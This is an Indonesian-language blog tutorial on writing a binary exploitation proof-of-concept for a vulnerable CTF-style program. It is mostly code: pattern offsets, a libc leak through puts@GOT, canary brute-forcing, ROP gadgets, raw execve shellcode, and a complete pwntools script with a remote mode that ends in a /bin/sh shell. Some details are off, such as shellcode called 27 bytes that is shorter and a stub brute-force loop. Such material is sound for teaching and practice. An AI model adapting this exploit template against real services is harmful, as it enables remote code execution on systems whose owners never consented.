Kamu sudah baca CVE advisory, lihat CVE-ID, dan mungkin pernah pakai exploit orang lain. Tapi pernah nggak bikin Proof-of-Concept (PoC) exploit dari nol? Mulai dari crash dump sampai shellcode execution?

Banyak peneliti keamanan terjebak di fase “pakai exploit orang lain”. Padahal bikin PoC dari nol itu skill yang bedain script kiddie sama researcher sejati. Artikel ini walkthrough lengkap: dari crash analysis sampai shellcode execution.

Binary exploitation debugging with GDB debugger

Fase 1: Crash Analysis — Temukan Bug-nya Dulu

Semua exploit dimulai dari crash. Tapi crashnya harus reproducible dan controllable.

Tools Setup

# Minimal toolkit untuk binary exploitation
sudo apt install gdb gdb-multiarch gdbserver \
  python3-pwntools radare2 ghidra \
  gcc-multilib libc6-dbg qemu-user

Tool wajib: gdb dengan gef atau pwndbg. Install pwndbg:

git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

Trigger Crash Pertama

# Target: vulnerable binary (contoh: vulnerable binary dari CTF)
# Trigger crash dengan input panjang
python3 -c "print('A' * 500)" | ./vuln_binary

# Di GDB
gdb ./vuln_binary
(gdb) run < <(python3 -c "print('A' * 500)")
# Crash! Lihat register state
(gdb) info registers
(gdb) bt  # backtrace

Catat: register mana yang ter-overwrite (RIP/EIP, RBP, RSP), offset ke buffer, dan apakah NX/ASLR/PIE/Stack Canary aktif.

(gdb) info proc mappings
# Cek ASLR, PIE, NX, Stack Canary status
(gdb) checksec

Fase 2: Offset Calculation — Temukan Offset EIP/RIP

Pattern creation dengan pwntools atau msf-pattern_create:

# Generate pattern 500 bytes
python3 -c "from pwn import *; print(cyclic(500))" > pattern.txt

# Atau msf-pattern_create
msf-pattern_create -l 500 > pattern.txt

# Run dengan pattern
gdb ./vuln_binary
(gdb) run < pattern.txt
# Crash! Lihat RIP/EIP value
(gdb) info registers rip
# Misal: 0x6161616161616166

# Cari offset
python3 -c "from pwn import *; print(cyclic_find(0x6161616161616166))"
# Output: offset ke RIP

Tip pro: Gunakan cyclic_find dengan nilai register yang ter-overwrite. Offset ini jadi fondasi payload construction.

Fase 3: Leak & Bypass Mitigations

Modern binary punya mitigations: ASLR, PIE, NX, Stack Canary, RELRO. Harus bypass satu-satu.

Bypass ASLR/PIE — Leak Address

Butuh leak address dari memory (libc base, binary base, stack, heap). Teknik umum:

  • Format String Vulnerability — leak stack/heap/libc address via %p
  • Info Leak via Read Primitive — read arbitrary memory
  • Partial Overwrite — overwrite LSB address (12-bit ASLR bypass)
  • Return-to-PLT/GOT — leak libc address via GOT entry
# Contoh: Leak libc via puts@GOT
from pwn import *

elf = ELF('./vuln_binary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# ROP chain: pop rdi; ret -> puts@got -> puts@plt -> main
pop_rdi = 0x0000000000401234  # cari dengan ropper/ROPgadget
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)  # return ke main untuk second stage

# Send payload, terima leak
io = process('./vuln_binary')
io.sendline(payload)
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leaked_puts - libc.symbols['puts']
log.info(f"libc base: {hex(libc_base)}")

Bypass Stack Canary

Canary di-stack harus di-leak dulu (format string, info leak, atau brute-force byte-per-byte pada 32-bit/partial overwrite).

# Brute-force canary byte-by-byte (hanya 32-bit/partial overwrite)
canary = b''
for i in range(8):  # 64-bit = 8 bytes
    for c in range(256):
        payload = b'A' * offset + canary + bytes([c])
        # Test apakah crash (canary wrong) atau tidak
        # Kalau tidak crash = byte benar

Fase 4: ROP Chain Construction

NX enabled = tidak bisa execute shellcode di stack/heap. Solusi: ROP (Return-Oriented Programming).

# Cari gadgets dengan ROPgadget atau ropper
ROPgadget --binary ./vuln_binary --only "pop|ret" | grep -E "pop rdi|pop rsi|pop rdx|syscall"

# Atau pwntools ROP
from pwn import *
rop = ROP('./vuln_binary')
rop.call('system', [next(libc.search(b'/bin/sh'))])
# Atau manual chain:
# pop rdi; ret -> /bin/sh address
# system@libc

print(rop.dump())
print(rop.chain())

Gadget kunci untuk x86_64: pop rdi; ret, pop rsi; ret, pop rdx; ret, syscall; ret.

Fase 5: Shellcode Execution (Jika NX Disabled/Partial)

Kalo NX disabled (atau RWX memory region), bisa inject shellcode langsung.

# Shellcode x86_64 execve(/bin/sh)
# 27 bytes - classic
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

# Atau generate dengan pwntools
shellcode = asm(shellcraft.amd64.linux.sh())

# Payload: NOP sled + shellcode + padding + return address (stack address)
nop_sled = b'\x90' * 100
payload = nop_sled + shellcode + b'A' * (offset - len(nop_sled) - len(shellcode)) + p64(stack_address)

Catatan: Modern binary biasanya NX enabled. Shellcode execution jarang work tanpa ROP/mprotect/mmap ROP chain dulu.

Fase 6: Full Exploit Chain — Put It All Together

Gabungkan semua fase jadi single exploit script:

#!/usr/bin/env python3
# Exploit PoC untuk vulnerable binary
# Author: Security Researcher
# Tested on: Ubuntu 22.04, kernel 5.15

from pwn import *
import sys

context.binary = './vuln_binary'
context.log_level = 'debug'

# ===== CONFIG =====
OFFSET_TO_RIP = 136  # dari cyclic_find
BINARY_PATH = './vuln_binary'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'

elf = ELF(BINARY_PATH)
libc = ELF(LIBC_PATH)

# ===== GADGETS =====
pop_rdi = 0x0000000000401234  # pop rdi; ret
pop_rsi = 0x0000000000401236  # pop rsi; ret
pop_rdx = 0x0000000000401238  # pop rdx; ret

# ===== EXPLOIT FUNCTIONS =====
def leak_libc_base(io):
    """Stage 1: Leak libc address via puts@GOT"""
    payload = b'A' * OFFSET_TO_RIP
    payload += p64(pop_rdi)
    payload += p64(elf.got['puts'])
    payload += p64(elf.plt['puts'])
    payload += p64(elf.symbols['main'])  # return to main
    
    io.sendline(payload)
    io.recvline()  # junk
    leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
    libc_base = leaked_puts - libc.symbols['puts']
    log.success(f"libc base: {hex(libc_base)}")
    return libc_base

def get_shell(io, libc_base):
    """Stage 2: ROP to system('/bin/sh')"""
    libc.address = libc_base
    bin_sh = next(libc.search(b'/bin/sh\x00'))
    system = libc.symbols['system']
    
    payload = b'A' * OFFSET_TO_RIP
    payload += p64(pop_rdi)
    payload += p64(bin_sh)
    payload += p64(system)
    
    io.sendline(payload)
    io.interactive()

# ===== MAIN =====
def main():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        io = remote('target.host', 1337)
    else:
        io = process(BINARY_PATH)
        # gdb.attach(io, gdbscript='b *main+100')
    
    libc_base = leak_libc_base(io)
    get_shell(io, libc_base)

if __name__ == '__main__':
    main()

Fase 7: Testing & Reliability

Exploit yang work sekali bukan exploit yang bagus. Harus reliable.

  • Test multiple runs: Jalankan exploit 50x, harus success rate >90%
  • ASLR variations: Test dengan ASLR on/off, PIE on/off
  • Different libc versions: Test di libc-2.31, 2.35, 2.38
  • Edge cases: Input length limits, bad characters (\x00, \x0a, \x0d), stack alignment
# Reliability testing script
for i in range(50):
    io = process('./vuln_binary')
    # run exploit
    success = exploit(io)
    io.close()
    if not success:
        print(f"FAIL at iteration {i}")
        break
else:
    print("100% success rate!")

Checklist Exploit Production-Ready

  • [ ] Crash reproducible 100%
  • [ ] Offset calculated correctly (cyclic pattern verified)
  • [ ] All mitigations identified (checksec)
  • [ ] Info leak works reliably
  • [ ] ROP chain tested with ROPgadget/ropper
  • [ ] Bad characters handled
  • [ ] Stack alignment (16-byte untuk x86_64 syscall)
  • [ ] Tested against multiple libc versions
  • [ ] Works local & remote
  • [ ] Clean exit (no crash after shell)
  • [ ] Documented dengan comments & PoC screenshot

Tools Cheat Sheet

KategoriTools
DebuggerGDB + pwndbg/gef, radare2, x64dbg (Windows)
Binary AnalysisGhidra, IDA Pro, Binary Ninja, radare2
ROP GadgetsROPgadget, ropper, pwntools ROP
Pattern/Offsetpwntools cyclic, msf-pattern_create/offset
Shellcodepwntools shellcraft, msfvenom, shell-storm.org
Libc Databaselibc.blukat.me, libc.rip
Exploit Frameworkpwntools, Metasploit Framework

Ponytail: Simplifikasi Sengaja

ponytail: Artikel ini skip heap exploitation (house of force, tcache poisoning, unsorted bin attack), format string exploitation detail, dan kernel exploitation. Upgrade path: pelajari Heap Exploitation via How2Heap repo, lanjut Kernel PWN via Linux Kernel Exploitation training.

Next Step: Latih di Platform Nyata

  • pwn.college — pendidikan binary exploitation terstruktur
  • Hack The Box — machine retirement dengan binary exploitation
  • CTFtime.org — cari CTF kategori pwn/binary
  • Exploit-DB — baca PoC orang lain, coba reproduce & improve

Bikin PoC dari nol itu frustrating. Crash, segfault, offset salah, gadget nggak ketemu. Tapi saat shell terbuka first time — rasanya beda. Itu beda script kiddie sama researcher.

Mau lanjut ke heap exploitation atau kernel exploitation? Komentar di bawah.

About the Author

Dzul Qurnain

Suka nonton Anime, ngoding dan bagi-bagi tips kalau tahu.. Oh iya, suka baca ( tapi yang menarik menurutku aja)... Praktisi WordPress, web development, SEO, dan server administration yang membagikan tutorial teknis dan catatan implementasi nyata.

View All Articles